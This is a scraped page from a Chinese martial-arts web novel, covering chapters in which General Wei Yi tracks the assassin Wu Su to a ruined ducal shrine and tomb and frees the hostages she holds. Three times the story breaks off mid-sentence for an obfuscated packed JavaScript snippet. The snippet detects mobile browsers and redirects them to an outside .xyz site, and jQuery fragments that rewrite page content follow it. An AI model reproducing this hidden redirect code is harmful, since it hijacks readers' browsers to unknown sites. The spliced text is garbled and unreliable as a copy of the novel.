d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507795|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有你!”罗易扭头瞪韦祎,“都这么多天了,要磨蹭到什么时候?” 韦祎也站过去了。 “不是一家人,不进一家门,初结识觉得你们性格各异,时间长了,你们几个还挺有相似之处的!” “那是,我们这些当小兵的,都要以我们中郎将为楷模啊。”钱氿说,“罗小姐您也不要生气,做个义肢而已,保证不耽误他死,死了也落得个四肢齐全,对吧。 “无妨,都是你们的事,想必你们心中有数。” 罗易拉着云攸纾离开了房间,留下韦祎他们三个。 “中郎将,该行动就行动,恐夜长梦多啊!” “闭嘴吧你,回军营去!”韦祎拿出将军派头来拍拍桌子,“我可没像你们那么花心思!” “他还小,连个明白人都没当上就把自己给玩完了,我们这是可怜他,再说了,大家相处那么久了,说他是同袍,更像个小弟。” 韦祎平日里没有积攒下任何淫威,假装发威,这二位没在怕的。他刚调到了城防军的时候,池勤、钱氿、肖丰就在了,周冲和郑予是后来到的。 最初,韦祎参与灭了稞国的好大名声在军中传得沸沸扬扬,那可是开疆拓土啊!军中年轻一辈,他是独一份! 更可况,他有勇有谋能在承王的追杀中逃回京城首告,何等的正义? 换了别人,怕是马上就和承王同流合污期待将来承王身登大宝他有拥立之功呢。 于是,这三位没见到韦祎之前对他是颇有敬意,不然肖丰也不会找他来打架。 就任营千总之后,没过几天,韦祎本性毕露。 三个人私下里盘算过,虽然这位新任营千总有的时候很气人,但,就没见过这么奇怪的将领,不仅十分敬业,而且不收受贿赂,为人正直和心慈手软两个特性竟然出现在了一个人的身上! 韦祎也想呢,我都如此不思进取了,好在手下这几位都是好人,不然城防军第四营早就出乱子了。 搁从前,只因为城防军常常参与查办非法赌博、逼迫从娼、买卖禁药等事情,从事此类业务的不法分子按时有贡钱孝敬,不仅可以拿孝敬,去查封人家的时候,就在这些装潢华贵的场所里面顺手牵羊,等完事儿了,还能从官府领加班费,吃三头! 唯有他们第四营过清苦日子。 当时,韦祎很重视,意图对这件事研讨一番。 一共四个人,装模作样地开会。 “下面其他人对此事有意见吗?” “他们敢?”肖丰冷笑。 “那,你们对此有意见吗?” “没有。”钱氿摊摊手。 “为何?” “因公谋私确实不该啊,您也这么想吧?”池勤很温柔,试探地问。 遇到了好人!省事了!韦祎心中大喜:“那太好了,散会!” 开了个坏头。原来会议可以这么简洁! 从此之后,他们第四营开会,前一盏茶的时间讲正事,之后就连续听钱氿讲半个时辰的八卦,韦祎不加阻止,试图正经开会的池勤连连叹气。 “您还是抓紧,我们这些人有防备,可是人家罗小姐、朱公子、秦姑娘他们不会武功啊,若是误伤了他们,就不太好了。就算是我们,天天防备着也够难受的。” 一语成箴。 没过几天,队伍行进到了丕州境内,丕州是东齐国第一大州,占地最大,位处中央。进了丕州,离华阳郡还有几天的路。 当秦琼脚步轻盈地穿过走廊,又下楼,找到了在院中树上坐着,练习扔叶片的韦祎:“韦公子?” “符怜,何事?”韦祎从树上跳下来。 “下午我与小姐去后面的河边洗衣,因我有些事情要处理,小姐说她替我洗完剩下的,让我先一步回来做事,我回来把事情处理妥当,还不见小姐返回,又去河边寻找,小姐不在,河边的妇人们说小姐被一位壮士接走了,再回到客栈转了一圈,发现周将军也不在,您看,这事情似乎有些不妙啊。” 事情当然紧急。 “你这么‘紧急’的告诉我,我还以为你是叫我去吃晚饭呢!”韦祎忍不住说了她一句。 “已经发生了,我惊慌失措并无好处。”秦琼解释。 58. 郡公庙 另外,韦祎第一次听说,有老板给手下洗衣裳的。 “生活琐事而已,谁有时间谁做,这都没什么。”秦琼说,“另外,请韦公子不要慌张,我们猜,周将军做这件事,不止是他一人的意思,也许,近期有人与他通了气儿。”表情不变,仍是笑盈盈的,眼神指向了褚先生居住的房间。 脊背上的肌肉似乎微有刺痛,按照经验,如芒在背是有人在暗中窥视。 韦祎也被迫微笑,咬牙道:“哦,原来如此啊,他带的人可多,你们去大军中躲一躲?” “若是军中安全,韦公子就不必在外面微服赶路了,与其逃窜,不如以静制动。” 说得也是,某种情形下,军中更容易混进去,毕竟大家都穿一样的衣裳,遵循一样的行为模式,乍一看,分辨不出生人。 若是细查,时间就长了。 他们是混编的队伍,士兵们互相不认识,见了甲队的人,说自己是乙队的,见了乙队,就说自己是丙队的,以此类推,很容易混进去。 “玉芝,白鹰有示警?” 朱愈正在鹰架附近观察:“上次灌药追踪的人并不在附近,不过,我在给周将军伤口要敷的药膏里加了些香料,另一只白鹰可以找到周将军。” 好办法,若仍旧用香囊,随手解下来就给扔了,包在伤口上一般人想不到,“在伤口上撒香料,你想把他给腌入味?” “听闻越过汪洋大海,极西之地又见陆地,那里的古人在临死前禁食,服用大量的香料,死后经过一些炮制,尸身就可以历经千年而不腐烂,静待复活之日。” 脑海里浮现一个场景,周冲死了之后的某日,从坟里爬出来,带着一身蛆和烂肉,流着黑水,往自己身上扑。 “不成,太可怕了!” “您要找他?我把白芷放出来给您领路。”白鹰一号叫白术,白鹰二号叫白芷,白鹰三号叫白芍。 朱愈补充道:“是朱白芷,跟我姓。” “知道了,你先让朱白芷先生吃饱喝足,准备着。”韦祎给朱白芷一拱手,“劳驾,一会儿千万管好谷道,不要再把您的屎尿浇在我们头上。” “韦公子,鱼与熊掌不可兼得,吃饱喝足了怎么可能不拉尿呢?” “失踪的是你家小姐,你怎么贫上了?”韦祎怒,压低了声音提醒。 嘴上玩笑不断,其实朱愈手里的纸折扇都要被冷汗浸透了。 “玉芝就这个样子,越紧张越喜欢打趣。”秦琼在旁辩解。 “你也严肃!有我在呢,没事的。” 两人不约而同露出完全不信的表情,“您说这话真是太让人放心了。" “等你们小姐回来我一定告状。”他们几个并不是面对歹人的专业人士,此时能冷静处事已经令人钦佩,所以,韦祎这一波专业人员要担当起来。 周冲被掳走之后落得如今这般境地,逸希何尝不是大好前程,绝不能遇险。 “钱氿,你留下来看着平焕,我带人去追。” “末将觉得,不太好。您看啊,那个芜夙姑娘那般厉害,轻松打伤周冲,我的武功和周冲差不多,周冲好歹是个近战,我是个弓兵啊,若这是调虎离山之计,您前脚一走,那个姑娘立刻来我们的住处大杀特杀,大大的不妙。” “那好,张丙乙,你拿我的将令,赶到大军那边,着庞将军带二百人追在我们身后策应,以信令烟火为准。” “得令!”张丙乙在出门前迟疑了一下子,“中郎将,是否让肖将军或者郑将军带队过来?” 到底是发现韦祎是个好脾气的,接命令都敢提问题了。 “不行,让庞将军直接点人出发,让肖丰守好大队伍。”韦祎想了想,补充道:“不必告知郑予。” 等张丙乙走了,钱氿才说:“不告诉郑予那小子是正理,不知道他要怎么闹。我回去换肖丰?这情况他比我有用。” “送信的都走了你说换人?” “把他追回来,我去传令,顺便把肖丰换过来。”钱氿一边说一边开箱子把轻甲拿出来穿在便服外面,披一件对襟的外套遮掩。 “你要去换人你穿什么甲?” 当然不可能换人,快马往返至少需要一个时辰,知道钱氿这是逗着玩呢,“你是觉得我瞧不上你,或是你怕被人打?” “怕被人打就不吃这口军粮了。”钱氿已经穿好了甲,拿出弩箭来上弦。其实,他家不是军户,当兵只是营生,想辞职是可以辞的。 否认了第二选项就是默认了第一选项,“呵,对面满打满算就俩人,快出发什么事都没有。” “我猜周冲那小子才是故意赶在我值班的时候闹这事。”平日用的硬弓挂在马上,带一把劲弩,箭袋里装了一大把箭,“可见是他没瞧上我。”韦祎反而没有带弓箭,不用过多准备,拿了甩手刺,碧血短剑被嫌弃地扔在鞍袋里,腰间悬着那柄还没有在韦祎手上见过血的乌木剑。 “他只是两害相权取其轻罢了,正好,全靠你教他做人。”韦祎说。 “我不成,还得看您,自知之明我还有点。” 带着钱氿和五个校尉,拎着云攸纾上马,“你的剑呢?该带的时候想不起要带。”云攸纾在钱氿的帮助下穿上了一副轻皮甲。 第一次穿甲,被夹得难受,要低头头低不下来,要弯腰腰也弯不了,连抬腿都费劲。 “甲只护住你前后身子,四肢上没有,你腿抬不起来是心理作用。”这些日子韦祎见识了云攸纾的脾性,看他穿上了甲就爬不上去马,见怪不怪。 这人不太协调,在某一个关节被制住的时候,身上的其他关节也动不了了,若是把这类型的小孩送去门派拜师习武,倒贴钱门派都不可能收,败名声。 好在,经过一个月的锻炼,云攸纾可以连续骑马两个时辰不会晕倒了,喜大普奔! 当这一回武术教师的经验不由得韦祎不担心:宓儿会如何。 不图他成器,但也不能像这位平王爷一样笨啊!不对,云攸纾这不算笨,不知道他是闹哪样。 暗下决心,等儿子到了开蒙的年纪就把他送走,横竖不能亲自教学,非得把自己气升天。 朱白芷先生高飞于天空,在前领路。 因为要防备着芜夙的出现,朱愈也跟着来了,负责探查芜夙的朱白术先生正站在朱愈的肩膀上。 剩下两个校尉留在客栈保护其他人,韦祎给他们留了自己的名帖,若有需要,就去当地的县衙求援。 已知,周冲的武力不是问题。 不过那个躲在暗处的芜夙有些麻烦,只有韦祎能制住她,甚至那也得等韦祎在暗处时才有把握,这位韦将军实在是不喜欢与敌人正面冲突。 与敌人一对视,战斗力唰唰唰下降。 对面那个,他或者她,甚至是它,有家人,有朋友,就算是只熊,窝里还有两只小熊崽子和半头没啃完的野山羊。或者是为生存而战,或者是赢了有钱拿,或者是背负着家国使命,怎么忍心让这种人输呢? 再退一步,演武校场上,赢的人得表彰,为升官铺路,绝大部分人都比韦祎更需要用赢比武来铺路,而韦祎从来不缺机遇。 别人的眼睛里,满是必要取胜的斗志。我夺走了他们的命,我能获得什么?还没有想出有什么战利品是韦祎非常想要的。 十八岁、十九岁那会儿斗志最盛,这个问题同样存在。 寻思着想给自己也培养点儿收集癖出来,从每个战死的刺客、密探手里留下一件战利品,收了那么一盒子。很久之后才发现,即使这盒子东西全丢了,好几年都没想起来去找,可见收集癖培养根本不成功。 小时候还能用家国情怀来催眠自己,一切都是有益的,南征稞国之后,也没有办法骗自己了。 不可否认韦祎很敬佩当今皇帝,但他也就是那么回事儿而已,一个有心胸有才学的凡人。 如师父幼时教导,国家都会教化百姓要忠于君主,忠的是什么?是人,还是“正确”?如果是前者,那叫愚,如果是后者,师父大笑道:“你们想过没有,若是国君错了呢?” 韦祎不能说自己是为君主而战。 此地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534646|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个县城,没多久就骑马到了荒郊野外,朱白芷从空中俯冲下来奔着朱愈就去了,好大个的鹰从空中冲下来,换了韦祎早躲开了,朱愈伸出胳膊,让白芷抓着。 不用他开口,韦祎等人知道,就是这附近了。 山脚下,勉强有一条能走马的土路,目所能及,没什么能藏身的地方。 不过,都说是这里了,韦祎挥挥手,钱氿和另一个弓兵校尉从马背上腾身而起,消失在了两旁的树冠中。三个校尉拔刀,把朱愈和云攸纾围在中间。 “待着警戒,这里还算空旷。树上两个跟我走。”韦祎下马,出发。 顺着这条路向前走,拐进树丛里面,看了老半天,依稀看出山脚下有个破得不成样子的建筑,塌了一半,漆已经掉没了,灰不溜秋的,和山石几乎融为一体。 “去追人,追到一个山脚下的破庙,有比这还俗的情节吗?” “若是情节再俗点,我们都得成为塑造您英雄救美壮举的炮灰。”树冠里传来回话,另一边树冠里传来笑声。 “行了,你们两个在这待着,我进去看看。”韦祎没拔剑,直接抬脚跨进去,破庙早就没门了,原来装门那处露出黑黢黢一个大洞,像是一具因为脱水而自然张开大嘴的干尸。 本朝不兴宗教,也不反对宗教,百姓大都富庶,拜神权当消遣。 说不信也信,说信也没那么信,各地佛寺、道观、城隍土地的香火都不错,维持生计没问题。 这庙为何破败成这个样子?若是迁走了,官府早该来拆除旧建筑,防止年久失修倒塌伤人。 进了庙,借着半边漏洞的屋顶洒下来的天光,正殿神龛里供奉的不是神佛泥塑,站到近前细看,几十块牌位,该倒的倒了,该朽的朽了,最大的那块仍在正中央嵬嵬矗立,“诰授开国隅希郡公朝请大夫显考徐公永字端忠府君之位”。 郡公是前朝的爵位名,本朝并无此爵位,而朝请大夫是个前朝的官名,比光禄大夫低两级。 “前朝的开国郡公,这牌位算起来至少有个三百多年。”本朝已近百年,前朝一共才二百来年,中间夹着几十年乱世,一猜就是真正的好木头,至今不朽,阴刻字迹清晰可辨。 前朝一个名叫徐永,表字端忠的郡公爷,在朝中做过朝请大夫。这里,是他的家庙,这位徐公,徐端忠,是发迹立家庙的第一人。 郡公爷在前朝,有千户的食邑,在地方上算是好大一个权贵,有家庙不稀奇。 破败的家庙能留到今天,挺稀奇。 一间正殿祠堂,两边有耳房,后面还有一间完整的院子是给人住的。往门前的空地上看看,残破矮墙的遗迹尤在。看规模,当年应当有和尚或者道士在此常住看护。 祠堂里没有人,绕过巨大的神龛背后,就是祠堂的后门,从后门走出去,前后左右都是房间。 “挑哪一间进?”不知道先进哪一间房,青天白日的,这里每一间房都又破败又可疑。那就哪个都不选,直接绕到整个院子的后面。 久未修剪肆意疯长的苍松翠柏环绕,正中央一块横放的大石碑惹眼,石碑下是一条修建向下的石头台阶,尽头是一扇石门。 “徐氏族墓”四个大字下面一排小字:“生人上归阳,死人下归阴,东岳之君镇护如仪,一切邪祟盗贼不得犯,如律令。” 这不想当然吗? 把墓藏起来,封死,指望无贼盗墓可还行,你把墓葬放在这里,还不如把“诚邀盗墓贼光顾”刻在墓碑上。 封墓的石门已经断了一片,掉在地上,像是火药炸断的。 这墓早就被人给光顾了。 说不定就是被罗晏那种人光顾的。 摸一摸腰间悬的剑,罗晏说,这剑是他从什么古墓、古宅里“拿”出来的。他经常干这种莫名其妙的事情,别的人盗墓、探险是为了生计钱财,他是去玩,看新鲜,顺便结识奇人义士。 盗墓贼里有没有奇人义士,存疑。 这来历不明的古剑正悬在韦祎腰间呢,于是韦祎看见了被盗的一座墓,莫名有些愧疚之情。 59. 从政记 不怪韦祎觉得这家庙夸张,前朝讲究视死如生,本朝没那么重视丧葬礼仪,提倡钱给活人用,死人都死了,少用点没关系。 比如韦家在京城就没宗祠,韦祎也没见过除了自己爹之外的任何韦姓亲戚。 从前,就这件事问过老爹。 “你问谁供奉祖宗?可能是你堂大伯吧?” “我还有堂大伯呢?”韦祎惊讶,长到二十岁了,第一次听说自己有堂大伯。 “当然有,难不成你爹我是从石头缝里蹦出来的?” 韦寅本是丕州人,而且就出生在丕州正中央的华阳郡附近,也许是某个县城。 少时父母双亡,留给他十几亩田地,三间院落。 族里商量,韦寅年少,还在上学,无法经营,就把这些田地和房屋交给韦寅的小堂叔帮忙经营,放租子,得利与韦寅四六分。 堂叔、堂婶子照办,一分钱不贪,该给多少给多少,多余的事情一概不管。 韦寅独自居住,乐得没人管,口袋里又有不少放租子得的闲钱,每日放了学,三教九流的地方都去逛一逛,混一混。 因为丕州华阳郡地处东西相通、贯穿南北的交通要道上,各国的人都有,韦寅觉得外国人挺有意思,常常接触,几年过去,各国语言如臂使指。 十六岁时,一支西域商队对韦寅抛出橄榄枝,邀请他作为商队的翻译,一同去东齐国京都城做生意。韦寅动心了,正好,丕州也玩得没意思了,于是将祖产那些田地、房舍通通卖给了小堂叔,一身轻松,收拾行囊,东去京都。 到京城没一年,商队要返回西域,韦寅不想去,辞职考了朝廷礼夷院的翻译吏,顺顺利利考了进去,一路扶摇直上,当上了从二品的当朝大员。 “总觉得中间省略了很多峥嵘历程。” “有什么可峥嵘的,累都要累死了。”韦寅捂着因久坐伏案累出骨病的腰。 “对了爹,您当了大官,为何咱们家那些亲戚都没有来投奔的?莫不是出了什么事?”韦寅这官,十年没有再升过了,不是因为做得不好,而是因为这官做到头了。 礼夷院是对外部门,院长一般由皇后或者太子兼任。 如今没有皇后也没有太子,礼夷院院长的职务落在了当今皇帝的叔叔头上,一个耄耋老头子,虚任而已。 院长之下,设置通商、礼仪、语言、制造等八司郎中,韦寅在十一年前当上了通商大郎中,为八司之首。各司大郎中都是正三品,韦寅从二品,协院长理各司事,是实际上的礼夷院院长。 走到这一步了,没法再升。 “没有,我派人回去看过,不是谁都喜欢巴结当官的,他们还过他们的日子,富裕平静,不慕权贵。” 从韦寅离家起,对祖产并无留恋,又忙得要命,没有时间回去,因而与丕州的韦氏族人几乎互不联系,偶有问候而已,近四十年过去,已经可以归为相见不相识的陌路人。 若不是故意问一句,韦祎都不知道自家祖籍在丕州,孙子辈的韦宓就更不知道了。 如今韦祎正在丕州,看见一个破败的家庙,被盗的坟茔,“若是牌位上写着是韦氏,就有可能是自己祖宗。” 幸好,这儿写了是徐氏的,随便搞,不用担心正在自家坟头上蹦跶。 犹豫要不要钻进破损的墓穴里探查,一声尖锐的哨音刺进耳膜。 一抬眼,两只白鹰直冲云霄。 不好!有敌人。 立即抽身,速度提到最快,化成一道模糊的影子,原路返回,来到了这座徐公庙的前院。 两旁树上隐蔽的人已经不在了,只好再往回走,隐去身形,向云攸纾待的地方靠拢。 三个校尉,地上倒着两个,马背上伏着一个,朱愈竟然不见了。而云攸纾正站在地上,一柄匕首架着他的脖子,衣摆上脏兮兮一片泥巴,大概是下马时摔了,或者根本就是被人踢下马的。 拿着匕首那人矮个子,蒙面,太阳直射下,一双灰色瞳仁清晰可见,卷曲的长发梳成一条辫子,盘起来,因为发量特别多,头巾包不住,露在外面。 大白天穿夜行衣包头蒙面,生怕大家看不出来她是坏人。 钱氿正与她对峙而立,中间隔着十步远。 十步中间,与钱氿一起隐蔽的那位校尉已经倒地。 对钱氿来讲,已经失去了用弓箭的机会,右手抽出了盘在腰间的软剑,执在手中,挡住身前。 “你们大齐的男人,竟然用这娘们的武器!” 钱氿答:“姑娘怎么能这么说呢?软剑怎么了,女子常用的武器有什么不好吗?” “不知廉耻!”芜夙骂。 “我用女子的武器如何不知廉耻,姑娘你也是个女子,你怎么能说像女子可耻呢?” 芜夙一双大眼睛里充满了迷惑。 对啊,我为什么要骂女子呢?但还是嘴硬:“男人就该有个男人的样子,使大刀,挽强弓方显男子气概!” “姑娘啊,你这就是性别歧视了。你看这一地的人,都是大男人,这一小会儿的时间都被你给打倒了,如此可见,姑娘你比这里的所有人都更有男子气概。” “我为什么要有男子气概!你骂我?” “有男子气概也是骂人,有女子气概也是骂人,难不成不男不女才对?” 又一个被钱氿绕进去的,他自知打不过芜夙,兜圈子等着韦祎到。 在韦祎藏身的这个角度,芜夙被正在抖个不停的云攸纾挡了个严实,因为她正伸着脑袋与钱氿说话,黑巾下露出一片脖颈朝向韦祎。 扣了甩手刺在手心里,有十成把握可以将她一击毙命。 观察一圈地上躺着的人,都有气儿,甚至没有流血,只是晕了。而朱愈,大概是骑马去报信。 芜夙又没有杀人,把她一击毙命,太草率。 心念一动,这次她友善多了?从树上跳了下来。 钱氿稍微转过来,看韦祎竟然现身,摇摇头,一脸的不可置信,就差说一句“朽木不可雕。” “芜夙姑娘,又见面了。” “你是那个官儿!”芜夙眯起了眼睛,“听声音,就是上次戴着斗笠的死断袖。” 轮到钱氿挑眉了,常年被人传言是断袖的钱氿,今天终于听到有人说别人是断袖:“这里面有什么故事?” 韦祎面无表情:“姑娘好记性,正是在下。” 钱氿的表情更八卦了。 “这就对了,”把匕首靠云攸纾脖颈更近一些,云攸纾毫不犹豫地发出了大声的惨叫,林子里的鸟被他吓得飞起一大片,“正要找你。把你的武器扔下!”猛掐一把云攸纾腰上的软肉,“快给我照做!” “韦子隽!快救我!”云攸纾惨叫之余,不忘求救。 解下乌木剑,扔给了钱氿。 “腿上!”芜夙早在东海郡的那天夜里就知道了韦祎惯用暗器,此时当然没忘记,掌心的贯穿伤还隐隐作痛呢。 把腿上的甩手刺解开,也递给钱氿,钱氿只好伸手接过来。 芜夙指着钱氿大声道:“你,把他的衣摆掀开,给我看看!” “做人要讲诚信,看人家衣摆底下算什么啊?”钱氿絮叨。 于是云攸纾又被狠狠掐了一把。 韦祎只好自己扯开前后衣摆,给芜夙看个清楚。 “走吧。”芜夙发话。 韦祎对钱氿嘱咐:“你就在此处不要动,我……” “怎么,您要给我买几个橘子还是怎么着?”显然,钱氿并不赞同韦祎的做法。 “检查他们的伤势,我没有问题的,如果有橘子一定给你们带。” 说不上确切是怎么回事,提起橘子,总觉得是爹会给儿子买,冥冥中感觉好像是哪个大文豪写过一篇这样的文章,却又查无实据。能占便宜当然要占一下子。 是芜夙发现,威逼云攸纾不成,转而想要直接威逼韦祎与她合作。 “真要进去这里面啊?不太好吧?”韦祎看着眼前那个墓穴门上的洞,“这是你炸出来的?” “我才不屑于做盗墓这等下贱营生!”芜夙骂,“这墓早被盗过,我只是在内里借住而已!” 行,四周都是房屋,虽然破了些,也比住在墓室里好,不知她为何偏偏要住在墓室里,难道是因为这样显得更大胆? 周冲当然在里面,罗易也在,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566609|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绑了个结实,靠在墙壁上,嘴里堵了块帕子。 见韦祎先进来,后面跟着芜夙用匕首架着云攸纾的脖子,罗易抬起脸来对着韦祎,动了动眉毛,杏眼里不见慌张,完全是打招呼的意思。 “这情况我也看明白了,说吧,把我弄到这里来,所为何事?”韦祎问。 芜夙半响没作声,只拿眼睛看着他。周冲也没作声,一会儿,啜喏道:“中郎将……” 韦祎没理他。 “我并不想伤谁的性命,把你这个当将军的请到我这里来,只是为了求您帮个忙。”芜夙忽然就转了语气,似乎温良许多,不过,握着匕首的手从未离开云攸纾的脖子。 “姑娘请讲,可以先把手放下来,你们有两个人,而我有两个累赘,跑不掉的。”韦祎陈述。 见自己被韦祎形容为累赘,“韦子隽!”云攸纾怒,“你怎么能这么说!” “你给我安静!”芜夙一脚踹向了云攸纾的屁股,云攸纾摔了个狗啃屎,不过,芜夙倒是把匕首给收进了腰间的鞘中。 自己爬起来,云攸纾愤愤地站得离韦祎远远的,也不敢再靠近芜夙,思来想去,跑去罗易旁边一起缩着膝盖坐,非常有作为人质的自觉。 此地并不是墓穴深处,看不见棺椁,是堆放随葬品的耳室。箱箱柜柜摆放整齐,不像是早已遭贼。韦祎暗搓搓猜着就是芜夙把这儿炸开的。 “快说吧,这里是徐郡公一家子的阴宅,待久了太不礼貌。” “只有你们东齐人假惺惺,铺张浪费,钱多得没处花都不肯救助穷人,大兴土木修建阴宅。” 不知道大齐国是哪儿得罪了这姑娘,看什么都不顺眼要骂。 韦祎没忍住,还是要解释两句:“其实吧,徐郡公一家子都是前朝的人,不能算是我们齐国的。” “都是汉人,改朝换代又如何?” 放弃了,芜夙这话没错,东齐国、南宁国、南稞国都是汉人的国家,“好吧,你就当是我们汉人铺张浪费好了。你们西域那边的西秦国也是汉人朝廷,你不能一竿子否定一个民族,把你们西域的国家都给说进去了。” “西秦人也没有什么好东西!” “看来,姑娘虽然说西秦话,却并非西秦国人?” “你这东齐官儿倒不是呆头鹅。”芜夙把蒙面巾扯下来,大大方方地笑,脸上还有一点属于发育期少女的婴儿肥未褪。“西秦国行事苟且,恃强凌弱,我辈不屑做西秦国人。” “这我倒是不了解,愿闻其详。” “跟你没什么可说的。”芜夙又警觉起来,坚决不被套近乎,“我按照约定,没有杀你的呆头鹅,不过,我想你已经不想让他跟你回去了。现在,你的未婚妻还有你的王爷都在我手上,我要你帮我做件事。” “姑娘请讲。”韦祎不做评论。 “我要看你们东齐国出使西秦的国书,你把国书给我拿来,我就把你的未婚妻放走。” “这可难办了,国书上面有封条,只有见到了西秦的君主,才能拆开,拿给姑娘看了,我完不成使命,会被问罪的。” “我看过就还给你,到时候你伪造一张封条贴上去就行了。” “也许可以,不过,请姑娘想一想,我为何要冒险帮你?你清楚,我脱身不难,到时候通告了四境缉捕你,你跑不掉。” 罗易是没什么反应,她被捆得那么结实,也没办法有什么反应,眼睛扑闪扑闪安静看戏。坐着的云攸纾听了这话,又跳起来:“你不想救我了吗?韦子隽!还有逸希姐姐,你不能不救她!” “别叫!”看到了芜夙眼神示意,周冲把刀拿了起来,刀尖对着云攸纾。云攸纾还想继续叫唤,却想起了周冲是被他害得走到了这一步,对着周冲他实怂。 见云攸纾站在那消停了,又把刀尖指向了坐在地上的罗易,“还有你!老实点!” 罗易委屈了,自己可动都没动,一点声音都没出,震惊之下呜呜呜呜发出声音表示自己很冤枉。 不说她还好,说了她,怎么反而又出声又扭动了呢,周冲震惊,进一步把刀尖逼近,“让你别出声听见没有!” 罗易不管,继续呜呜呜呜表示抗议。 60. 情人簪 刀尖越来越逼近,云攸纾急了,终于想起了自己这些日子竟然学习了剑术,而且此时腰间正悬着一柄锋利异常的寒铁剑。 拔剑,握在右手中,放在身前,怂怂地与周冲对峙:“你不准靠近逸希姐姐!”周冲完全没觉得他是个威胁,若不是芜夙早说了不准伤害这个怂包郡王,一招足以把他打趴下。 自知之明云攸纾也有,趁着周冲还没下手打他,叫:“韦子隽,不就是伪造封条吗?这你都不敢?你快答应了救我们!” 在芜夙这个角度,很清楚的看见韦祎嘴角向下,神情玩味。 她早就前后想清楚这些事情,事已至此,冷笑道:“别蠢了,废物小王爷,保护你的这个官儿,早就知道你与我的事情了,你就不要费力气表演,看在他的眼里权当好笑。” “我没有笑。”韦祎说,算是默认了。 “怎,怎么可能?” “那晚我在东海的罗氏宅院里见了你,随后就被这个官还有另一个叫罗晏的人给截住了,当时我诧异他们竟然会说西秦语言,那个叫罗晏的反而说我不认识齐国字才奇怪。我想,我刚跟你说了我不认识你们齐国的文字,他们两个就知道了,一定是躲在暗处看见了我们见面。他们武功高,我察觉不到很正常。”不急不徐,芜夙给云攸纾解释。 “姑娘记得倒是清楚,不过,也有可能是我们平王爷主动告诉我的。” “我谅他也不敢,他合作的诚意我是信的,只是太过无能,我不指望他。”芜夙说完,韦祎咳嗽两声掩盖笑意,大家对云攸纾的印象竟然挺统一的。 “也不全对,姑娘不不认识我们齐国字这件事,是我初到东海郡,住客栈时姑娘大驾光临,在我这翻到了一封密旨,几行字你看了一盏茶的时间,必然是不识字强记住。” 轮到了芜夙吃惊:“你早就知道我在附近?那你为什么不揭穿?” “我还知道姑娘曾落脚在罗宅附近一处等待出租的院子里,大半夜在烙饼。” “这你都知道?当时你已经弄清楚我只有一人,竟然不出手?” “倒是想问姑娘,烙了那么多胡饼,东海气候潮湿,怕是来不及吃就要发霉。” “有这个呆头鹅饭桶在,我不愁干粮吃不完!”芜夙指了指周冲。 芜夙反而觉得安全,既然前几次韦祎都没有下手,他必然有不能下手的理由。 “你全都知道,你是在故意看我笑话?”云攸纾往前走了几步,站在了韦祎的附近,把剑横在自己的身前,面对韦祎,他也要维持自我保护的姿势。 隐忍不发这么久,这人也太可怕了! “你把剑伸出来,抵在他的胸口上才对,”芜夙唯恐天下不乱,“他看你笑话那么久,该轮到你占上风。” 云攸纾听了,立刻把胳膊伸平,将剑尖抵在韦祎的前胸上。 “现在是我们有三个人,而你有一个累赘,考虑考虑答应我的要求。”芜夙笑,“废物王爷的这点剑术,是你亲手教的吧。” “说得也是。”韦祎叹气,“我也觉得我应该投降。” 话音未落,韦祎伸手,从头上拔下了那根羊脂白玉簪,很慢,几乎是展示给在场所有人看的,见他动作,芜夙迅速抽身向前,几乎站到了韦祎的面前,手握住匕首的柄,全神警戒。 没有过于紧张,都觉得韦祎这个动作有故事。 因为,此时此刻,罗易的头上也插着一根羊脂白玉簪子,一看就知道和韦祎用的这一支是一对儿的。 可能韦祎要讲个什么爱情故事来着?警戒之下,大家的心情向八卦方向倾斜。 没等任何人看清动作,簪子向着周冲飞射出去,芜夙和云攸纾只能看见一道白影。正想震惊,韦祎已经抓住了云攸纾的右肩膀,内力温和地渗进去,云攸纾感觉肩膀都不是自己的了。 鉴于他的优良“天赋”,一个关节被卡住,全身都僵硬,胳膊直挺挺动不了,把他往前一推,寒铁剑切豆腐一样插进了芜夙的肩膀。 簪子插在周冲的手掌心,他手里的刀已经落地,罗易及时地滚动缩脚,才没有被掉下来的刀砍到。 飞身扑过去,在他胸前印下一掌,三成力道就够他气血翻涌好一会儿了。 等韦祎都打完了周冲了,云攸纾还僵着动弹不得,韦祎又抽身去他那边,把芜夙的穴道点住。 芜夙是没反应过来云攸纾竟然会刺她。 在她看来,韦祎只是推了云攸纾的肩膀一把,不管武功有多高,都不可能用一推的动作控制住另一个人的全身。她眼里,云攸纾是自己挺直了手臂不收剑,将剑刺了过来。 “我这不就动手了吗?急什么?”做完了这一切,韦祎松了一口气。 